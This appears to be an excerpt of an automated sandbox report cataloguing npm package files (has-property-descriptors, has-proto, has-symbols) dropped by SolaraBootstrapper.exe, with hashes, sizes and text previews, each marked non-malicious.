SHA1:	74CEE463C60DE7E0BFD342362E2A4DDF5F1883D9
SHA-256:	0F0CA96F50793990031EBC488A38F7292FF70BCE8AB6A8E5EEDA674ABC32CCDF
SHA-512:	D7A2F0DAC429ABC40834B1887CBFFEC6487330328AEFED4A84ED2DA8FCD687A489C7E25C981B99EF0EC5C0B71EFBF6C30489D8204F295045AFAA488DD98D644E
Malicious:	false
Preview:	MIT License..Copyright (c) 2022 Inspect JS..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONNECTI

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-property-descriptors\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2206
Entropy (8bit):	4.946265434655978
Encrypted:	false
SSDEEP:	48:81eI4IFO2sfqaFmNGm32qv+HsEIL0IDIJv:UXFbac3zLxUh
MD5:	67A4620B357B10EE5A7B64D1172F583B
SHA1:	12178C626C011BF0FB768984E6C1ED5AD53C9261
SHA-256:	948751362D23B03B9A2FCEFC39F6B6F379F7A2B79B25DEAF21CBE0512131CFF0
SHA-512:	43207C544CB32E3874E2ED2F23D411365BF21E04A4F71FC322BBDBFAFD866105941D98D744B567B93652D94C5D6121A6F2B6ACC76C9014F450B7E987051CF4B9
Malicious:	false
Preview:	# has-property-descriptors <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![dependency status][deps-svg]][deps-url].[![dev dependency status][dev-deps-svg]][dev-deps-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..Does the environment have full property descriptor support? Handles IE 8's broken defineProperty/gOPD...## Example..```js.var hasPropertyDescriptors = require('has-property-descriptors');.var assert = require('assert');..assert.equal(hasPropertyDescriptors(), true); // will be `false` in IE 6-8, and ES5 engines..// Arrays can not have their length `[[Defined]]` in some engines.assert.equal(hasPropertyDescriptors.hasArrayLengthDefineBug(), false); // will be `true` in Firefox 4-22, and node v0.6.```..## Tests.Simply clone the repo, `npm install`, and run `npm test`..[package-url]: http

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-property-descriptors\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	588
Entropy (8bit):	4.921338981139349
Encrypted:	false
SSDEEP:	12:zSDBLhoZJ6KFU+ko940WykAqVQlLwRZI0vTBgCR:zSE6G40WLAqewa0rBh
MD5:	A8C2D4EA312A1DE8D1FA3DBF93AAA444
SHA1:	6339A30DE7B7C821258F7C446DAF1260A0524DFD
SHA-256:	D5415D5957DE8E923FB1A976CB3F2524F1800ECF5E3B958A4D76183D2A9DEE91
SHA-512:	9B8F5C2F05306E4446B98EBF07EBE2761B2FD8F4DF4FE5ABE56F9F8856185AC8FEAF545355E9C36822BAA3673EEB2AC643C49B06F72DACC788C611A7E5FA4865
Malicious:	false
Preview:	'use strict';..var $defineProperty = require('es-define-property');..var hasPropertyDescriptors = function hasPropertyDescriptors() {..return !!$defineProperty;.};..hasPropertyDescriptors.hasArrayLengthDefineBug = function hasArrayLengthDefineBug() {..// node v0.6 has a bug where array lengths can be Set but not Defined..if (!$defineProperty) {...return null;..}..try {...return $defineProperty([], 'length', { value: 1 }).length !== 1;..} catch (e) {...// In Firefox 4-22, defining length on an array throws an exception....return true;..}.};..module.exports = hasPropertyDescriptors;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-property-descriptors\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2090
Entropy (8bit):	5.120875548329483
Encrypted:	false
SSDEEP:	48:1elq7RYCZU547agW01yRYsEg40EssiSowg:1VeC9Lv30EhiN
MD5:	510168F5C4C087586D843E93CC695783
SHA1:	A3E6C1869A4E2F16574906FEA431CE7A4BC1A022
SHA-256:	59A91E2CF32E4303D248708999A9EC3AFD8E3649A87BA7ABCF2177DC1984E3D5
SHA-512:	6AE33AF0F4F87F90C4824824566944EF3753360CCE74979D532BBCC98D995AEAF270AE7E79D6B3A59D6CAE6F2989250C7A3D84A333B52B6CA4CC762401D6C046
Malicious:	false
Preview:	{.."name": "has-property-descriptors",.."version": "1.0.2",.."description": "Does the environment have full property descriptor support? Handles IE 8's broken defineProperty/gOPD.",.."main": "index.js",.."exports": {...".": "./index.js",..."./package.json": "./package.json"..},.."sideEffects": false,.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublishOnly": "safe-publish-latest",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."pretest": "npm run lint",..."prelint": "evalmd README.md",..."lint": "eslint --ext=js,mjs .",..."tests-only": "nyc tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository": {..."type": "git",..."url": "git+https://github.com/inspect-js/has-p

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-property-descriptors\test\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1405
Entropy (8bit):	4.953599029639864
Encrypted:	false
SSDEEP:	24:ji/J/JpEmeQklInZnWck6XxthnnZ1Qrtbf/lf9MKWPGW:ji17ETInZnWcf3nZ1iB10eW
MD5:	7A5F187740D31852A4063B9E66688A98
SHA1:	1845271C79EC0BEE55B2D17ADED5FA39C32D4166
SHA-256:	00B7CCD4FB74B70387244E1C0774CB75192CDAEA8FBA3A6809C7CF2C28885155
SHA-512:	6CB4D06E7503C4B3BDD0DF1D12DD9E8C63362C594AEC309EF1349E54995E111748E37FC7F218BDA053BAFBB4A82FFD341F58E80BEC3CB3DB5D156C40F3CD4C26
Malicious:	false
Preview:	'use strict';..var test = require('tape');..var hasPropertyDescriptors = require('../');..var sentinel = {};..test('hasPropertyDescriptors', function (t) {..t.equal(typeof hasPropertyDescriptors, 'function', 'is a function');..t.equal(typeof hasPropertyDescriptors.hasArrayLengthDefineBug, 'function', '`hasArrayLengthDefineBug` property is a function');...var yes = hasPropertyDescriptors();..t.test('property descriptors', { skip: !yes }, function (st) {...var o = { a: sentinel };....st.deepEqual(....Object.getOwnPropertyDescriptor(o, 'a'),....{.....configurable: true,.....enumerable: true,.....value: sentinel,.....writable: true....},....'has expected property descriptor'...);....Object.defineProperty(o, 'a', { enumerable: false, writable: false });....st.deepEqual(....Object.getOwnPropertyDescriptor(o, 'a'),....{.....configurable: true,.....enumerable: false,.....value: sentinel,.....writable: false....},....'has expected property descriptor after [[Define]]'...);....st.end();..});...v

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\.eslintrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.231286196905489
Encrypted:	false
SSDEEP:	3:EK8RL0x+Hg:ExL0UA
MD5:	C28B0FE9BE6E306CC2AD30FE00E3DB10
SHA1:	AF79C81BD61C9A937FCA18425DD84CDF8317C8B9
SHA-256:	0694050195FC694C5846B0A2A66B437AC775DA988F0A779C55FB892597F7F641
SHA-512:	E3ECA17804522FFA4F41E836E76E397A310A20E8261A38115B67E8B644444153039D04198FB470F45BE2997D2C7A72B15BD4771A02C741B3CBC072EA6EF432E9
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\.github\FUNDING.yml

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	580
Entropy (8bit):	4.69941916662743
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMGplgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mgllg7g1GegJ9gEz4D
MD5:	D426B8452C9A77C2FC8605D26F89BC3E
SHA1:	AC9924D2F28E9E39CEDFB42BC3E6B225C1ECBEE7
SHA-256:	E9176304FF0A6EEFB1F367C6E817EC39120887A1C81A02B4070698469C5A05DC
SHA-512:	E794F8E700E98D0BA08A02F617E59C37DD7D7B3C816766EE8B5FF7FF20F9D995879789B883279A84273980250B11E8942683DB012AEC5CB1C8B8F53111945EB9
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/has-proto.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\CHANGELOG.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2200
Entropy (8bit):	5.267121454840437
Encrypted:	false
SSDEEP:	24:EIKpjXWTIppWAlnwRatzUI5tqNyk5CfA4We07eUZf/4HnWEf4G9/iuMdPnzG5Srq:E5yEpgFCABUf4GMratX9u0
MD5:	C7C043D2B99E62E36D7D4B1CAAAABA31
SHA1:	9F889EBEA4C24177B1DC36DD4D8614EB3CB1DC2A
SHA-256:	B40A780CB2E0895F19EC3A3E8F49DD2C5F176B77B780AE31BBE7A37FF612F3A6
SHA-512:	8B1003A752E73DB81E42DF56C7A9042AD8158809DF348194BC88FD0FE03009F1380A5CFEC048200DF7A2D691BB650309488B40393BBAA427181DF27D93A1D29C
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.0.3](https://github.com/inspect-js/has-proto/compare/v1.0.2...v1.0.3) - 2024-02-19..### Commits..- [types] add missing declaration file [`26ecade`](https://github.com/inspect-js/has-proto/commit/26ecade05d253bb5dc376945ee3186d1fbe334f8)..## [v1.0.2](https://github.com/inspect-js/has-proto/compare/v1.0.1...v1.0.2) - 2024-02-19..### Commits..- add types [`6435262`](https://github.com/inspect-js/has-proto/commit/64352626cf511c0276d5f4bb6be770a0bf0f8524).- [Dev Deps] update `@ljharb/eslint-config`, `aud`, `npmignore`, `tape` [`f16a5e4`](https://github.com/inspect-js/has-proto/commit/f16a5e4121651e551271419f9d60fdd3561fd82c).- [Refactor] tiny cleanup [`d1f1a4b`](https://github.com/inspect-js/has-proto/commit/d1f1a4bdc135f115a10f148ce302

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1067
Entropy (8bit):	5.095025073213139
Encrypted:	false
SSDEEP:	24:/rmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:/aJHlxE3dQHOs5exm3ogFh
MD5:	D237EAC07663BDE2409DE740BA75EC97
SHA1:	74CEE463C60DE7E0BFD342362E2A4DDF5F1883D9
SHA-256:	0F0CA96F50793990031EBC488A38F7292FF70BCE8AB6A8E5EEDA674ABC32CCDF
SHA-512:	D7A2F0DAC429ABC40834B1887CBFFEC6487330328AEFED4A84ED2DA8FCD687A489C7E25C981B99EF0EC5C0B71EFBF6C30489D8204F295045AFAA488DD98D644E
Malicious:	false
Preview:	MIT License..Copyright (c) 2022 Inspect JS..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONNECTI

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1623
Entropy (8bit):	4.94834013151433
Encrypted:	false
SSDEEP:	24:sdn1eI4IjAoqSsJRCMt4bjzaY795o/s/u98IJ1heIRIjvPvv:C1eI4I7qRVgWo/RIL0IRIjv
MD5:	70803FBC3D0A3A7493AA3B5C90D13642
SHA1:	F5F690EDC9957E0D5E870CA0FDC56545A0D2AE26
SHA-256:	B287AD12C573D4283CFAC523F31D566F0DC72153E3290466BCBD5CE6676FDE2C
SHA-512:	1F9E0A2B45C4905C38B4A02993B0E6E877F682802156FF938F893E823B34CD856B4CE8563539E0B0768AD939EF6799DEE80BA206B13E02285900F9E6AE4FD776
Malicious:	false
Preview:	# has-proto <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..Does this environment have the ability to set the [[Prototype]] of an object on creation with `__proto__`?..## Example..```js.var hasProto = require('has-proto');.var assert = require('assert');..assert.equal(typeof hasProto(), 'boolean');.```..## Tests.Simply clone the repo, `npm install`, and run `npm test`..[package-url]: https://npmjs.org/package/has-proto.[npm-version-svg]: https://versionbadg.es/inspect-js/has-proto.svg.[deps-svg]: https://david-dm.org/inspect-js/has-proto.svg.[deps-url]: https://david-dm.org/inspect-js/has-proto.[dev-deps-svg]: https://david-dm.org/inspect-js/has-proto/dev-status.svg.[dev-deps-url]: https://david-dm.org/inspect-js/has-proto#info=devDependencies.[npm-badge

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\index.d.ts

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.3177228566805255
Encrypted:	false
SSDEEP:	3:nPXbrMmEXKBi0W1on:TYzXQiin
MD5:	CABA6E33B83260CCB5C6AC6EC4D088D0
SHA1:	79B851A603F99F68A5D89BB8D1C5AF5630B55FE2
SHA-256:	29ED67590964F520AED83494876AE2D880B286B18527F0D9C0BA48803C52EA54
SHA-512:	8129D17D8CFB5B7DD7A36B6F8E6B260B72B84D5AACE3B27627020D09E84386278A8C050A1354CCC1DC313622305C9A52F6A9F1412935355254ED850CBAA55A86
Malicious:	false
Preview:	declare function hasProto(): boolean;..export = hasProto;

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	302
Entropy (8bit):	4.855199516211327
Encrypted:	false
SSDEEP:	6:QcAmb8XqqPCVWKfzBvYmGYr+XqXJL+KPHWfVMMj5PtDJNvGbOAw:jPEqqsfzB7rjXFLPHW9H5PtDXGbOr
MD5:	6E64FB0AA43856E2353BC04AFD460EEB
SHA1:	4E953888F7D320D20235F1DB8791EEEB2302570C
SHA-256:	FB19C1BA8B8270A4D99D5E714A5AEEA0B20465862CD9E9F4D18D0D95F44B380C
SHA-512:	908D671D45F764FA77368FDEF21C9541BBAE98DDC1C955295CCD1F6501F3D3C89B9D46FB906A22AE15E8AD9DC71590F2BB6E40036D78901F9732B1135F241CC3
Malicious:	false
Preview:	'use strict';..var test = {..__proto__: null,..foo: {}.};..var $Object = Object;../** @type {import('.')} */.module.exports = function hasProto() {..// @ts-expect-error: TS errors on an inherited property for some reason..return { __proto__: test }.foo === test.foo...&& !(test instanceof $Object);.};.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2004
Entropy (8bit):	5.10717712101436
Encrypted:	false
SSDEEP:	48:1MfsMRYCZU547ag/fIRYsEg4jCoa3+XRsdEmfSowg:1M0C9xb3jCoa3+XR6fN
MD5:	CCB4058E21EB78DD88D3A003DC3CC489
SHA1:	6CA0A0F4F54EE4444E0FAED74F99FAA76A9F52BD
SHA-256:	30502A11630AA5653C55AC39885E3AEB0F7BFD85D6EED1D2BEC2A00B7F6A1109
SHA-512:	1A6099515F97E62D1F1CA6F2E4CB6E1D11BE8051318836C3111C863D0F7984CB04E76565178CA8F9940022BBDFA6E498A985E0227451DF4BD3A65D767C149ED4
Malicious:	false
Preview:	{.."name": "has-proto",.."version": "1.0.3",.."description": "Does this environment have the ability to get the [[Prototype]] of an object on creation with `__proto__`?",.."main": "index.js",.."exports": {...".": "./index.js",..."./package.json": "./package.json"..},.."sideEffects": false,.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublishOnly": "safe-publish-latest",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."lint": "eslint --ext=js,mjs .",..."postlint": "tsc -p .",..."pretest": "npm run lint",..."tests-only": "tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository": {..."type": "git",..."url": "git+https://github.com/inspect-js/has-proto.git"..},.."keywor

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\test\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	477
Entropy (8bit):	4.81749295695614
Encrypted:	false
SSDEEP:	6:QcALFElFu0BqRpZtAJRojSd/tyiArR1hbGyGQI5fRuUygfLzRr9/EEjlIzeTS:jSouldyJRojw4xmQ6JuEL99nlqeW
MD5:	74A701DD99ACAAEA016EF7607B6C8E6F
SHA1:	68F0871975E1D73A0244981E23325006FE9F2D8C
SHA-256:	9A3B014D9A41F895886B42A9E7B71C21C56F52840B3439B555438C1E89F68897
SHA-512:	136F2A3363EEE8349A9A9F195E3AC0B91F96E7CE7DE53762222B2265153528B93A87252FBF8F4756F8067996CF6A6A6D319DE7235E184652DCEF137428215B97
Malicious:	false
Preview:	'use strict';..var test = require('tape');.var hasProto = require('../');..test('hasProto', function (t) {..var result = hasProto();..t.equal(typeof result, 'boolean', 'returns a boolean (' + result + ')');...var obj = { __proto__: null };..if (result) {...t.notOk('toString' in obj, 'null object lacks toString');..} else {...t.ok('toString' in obj, 'without proto, null object has toString');...t.equal(obj.__proto__, null); // eslint-disable-line no-proto..}...t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\tsconfig.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3611
Entropy (8bit):	4.147019083760396
Encrypted:	false
SSDEEP:	48:x80prTY8LBtkyo/8iDloqIcofzT9gOvLz6Do30TpGiyU8vG:BvB28yoqKNNS0kwZU8vG
MD5:	28078909413979BA4F10E7CC5387E4F4
SHA1:	9523D0B767DA3D695A77A01C05AC3320727E8B39
SHA-256:	B772FC0E85FE374BB32302CDBC08C8854D6A679BCF7F4F7B8DA28098E2979521
SHA-512:	7E19237E46CF2E77EADB44CA64EA173A48C83CFB84FA1CDFABD1DCA699BFAAE74D749B39B705A4ADE4AF05FD0CFC8D6563E7C1D0B86DAB11D01B6038D0DD541C
Malicious:	false
Preview:	{. "compilerOptions": {. /* Visit https://aka.ms/tsconfig to read more about this file /.. / Projects /.. / Language and Environment /. "target": "ESNext", / Set the JavaScript language version for emitted JavaScript and include compatible library declarations. /. // "lib": [], / Specify a set of bundled library declaration files that describe the target runtime environment. /. // "noLib": true, / Disable including any library files, including the default lib.d.ts. /. "useDefineForClassFields": true, / Emit ECMAScript-standard-compliant class fields. /. // "moduleDetection": "auto", / Control what method is used to detect module-format JS files. /.. / Modules /. "module": "commonjs", / Specify what module code is generated. */. // "rootDir": "./",

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\.eslintrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	164
Entropy (8bit):	4.656887119948345
Encrypted:	false
SSDEEP:	3:EK8RL0x+Hf5NeVHI0FEmpRERZGbty4ni6AXWHfFpHIcR7GTIGDJGv:ExL0UxNSHIt2RI0tyZrQnkzV4
MD5:	117C2ABA69B8C17D3AD9957665A0C13F
SHA1:	F77BD5556F623A993A67C463DEBDC0C69178BFCB
SHA-256:	15B0BD2D80EE6D32AF3C8761FC9007606A5EC9CF605E4CA2A214EEF8BE564FCE
SHA-512:	FE3B4D9962410A8B067191702FB83C620BCCF15EB5930D40FC4BF7011954E5DFAC282CBBBA5A3D70396CB493F4F3BBAB02D0E0204C0CC419D5D6A8C8ADFF7136
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."rules": {..."max-statements-per-line": [2, { "max": 2 }],..."no-magic-numbers": 0,..."multiline-comment-style": 0,..}.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\.github\FUNDING.yml

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	582
Entropy (8bit):	4.705597712370831
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMGvGplgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mgClg7g1GegJ9gEz4D
MD5:	534BD30C05DFCF5B2DAE9ABECE5FC14C
SHA1:	5AD12F14810DF4B34EFD7A55407041FE91967DE3
SHA-256:	E777D06BAFDCD1D459ABCBDC03AC52357B59C248614DC6143D8D02EBFB4AEF15
SHA-512:	132BCEE4EA7ABA788C26C4E09C3260567CBD139321338D4C93EE4CC93B1E87238A0AFBAD7FAE063F8022E8E227E0FED3A5F2924BBF6E861AAE7274FDA3152574
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/has-symbols.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\.nycrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	139
Entropy (8bit):	4.461548676043605
Encrypted:	false
SSDEEP:	3:uFx3jG9UDHfa7aBA9c4RIeeFHqpvc9PNUaUifEIkHJ03WhBK:Kw9OfyFdRaB9LUiMIOJHhBK
MD5:	D0104F79F0B4F03BBCD3B287FA04CF8C
SHA1:	54F9D7ADF8943CB07F821435BB269EB4BA40CCC2
SHA-256:	997785C50B0773E5E18BF15550FBF57823C634FEFE623CD37B3C83696402AD0A
SHA-512:	DAF9B5445CFC02397F398ADFA0258F2489B70699DFEC6CA7E5B85AFE5671FDCABE59EDEE332F718F5E5778FEB1E301778DFFE93BB28C1C0914F669659BAD39C6
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\CHANGELOG.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7690
Entropy (8bit):	5.285517314682914
Encrypted:	false
SSDEEP:	96:E5yEtQnY/szbKNRSXwx+Z5cNSQ7FbgXcwujzi3sDpiIRCYxmtUF:EgHGwWRk7zcoIMXCzicDb1mtQ
MD5:	789FF6F17912BF43BBDE1FF15FF2076E
SHA1:	C2B3619116F52CB400AAAA8FFF9B203114886AC2
SHA-256:	B6B4854BAAD1A88E8C338317DC21B1E2C5702C96B9EE38E7A429B53B6D424431
SHA-512:	97F67463F7C36E4E0CD0DA0456C24F511AC1FE333CA0431CDC8AFCFD5218AED72D165922E32CA391FE6D33F6A5840FC214BCC0C8BB348DE187EB018804BF80D2
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.0.3](https://github.com/inspect-js/has-symbols/compare/v1.0.2...v1.0.3) - 2022-03-01..### Commits..- [actions] use `node/install` instead of `node/run`; use `codecov` action [`518b28f`](https://github.com/inspect-js/has-symbols/commit/518b28f6c5a516cbccae30794e40aa9f738b1693).- [meta] add `bugs` and `homepage` fields; reorder package.json [`c480b13`](https://github.com/inspect-js/has-symbols/commit/c480b13fd6802b557e1cef9749872cb5fdeef744).- [actions] reuse common workflows [`01d0ee0`](https://github.com/inspect-js/has-symbols/commit/01d0ee0a8d97c0947f5edb73eb722027a77b2b07).- [actions] update codecov uploader [`6424ebe`](https://github.com/inspect-js/has-symbols/commit/6424ebe86b2c9c7c3d2e9bd4413a4e4f168cb275).- [Dev Deps] update

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	5.103097172056218
Encrypted:	false
SSDEEP:	24:SPsrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:ksaJHlxE3dQHOs5exm3ogFh
MD5:	AFEE57A289508ED4DF3456667778AAF6
SHA1:	FF97D906C193A1066D1853D9E4EF458281C8672D
SHA-256:	206C1ADCF206DC0031B11232F5B054EC5F1662407AB1CA415247921CAB2068AB
SHA-512:	7712DB3676F2478282A12D5180679C73241E80EDCD1F58696A0D8AA1D05A0FA705677C9C3E53920AEED5E9657EBE3DCF0B726DA6D7A6EE1EF526E2D84B68B2E0
Malicious:	false
Preview:	MIT License..Copyright (c) 2016 Jordan Harband..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2044
Entropy (8bit):	5.0639433319815925
Encrypted:	false
SSDEEP:	48:f1eI4ITUqpRp9bWt8hvVO5ZC7k7k18DOv5EGPIL0IaISv:dXFnpR1P9cDOv50LxDc
MD5:	540771BC2F5479EF889BEE342AE45158
SHA1:	F237D15E79C3F8015193CA4D46A2CEEF631EE9BC
SHA-256:	A062B27EE12E84E310041D05D10D69AC2D7076CBA1FC698BAE8A4E40A15897EC
SHA-512:	2BD925725626F2B22BF054B13C39105522E3DFCCF173E8662196CF56F81BAF8A465E5E7A6E80A417FAE4D87B9063CEEF6C238B33AE79AE822384D85EF0244B8E
Malicious:	false
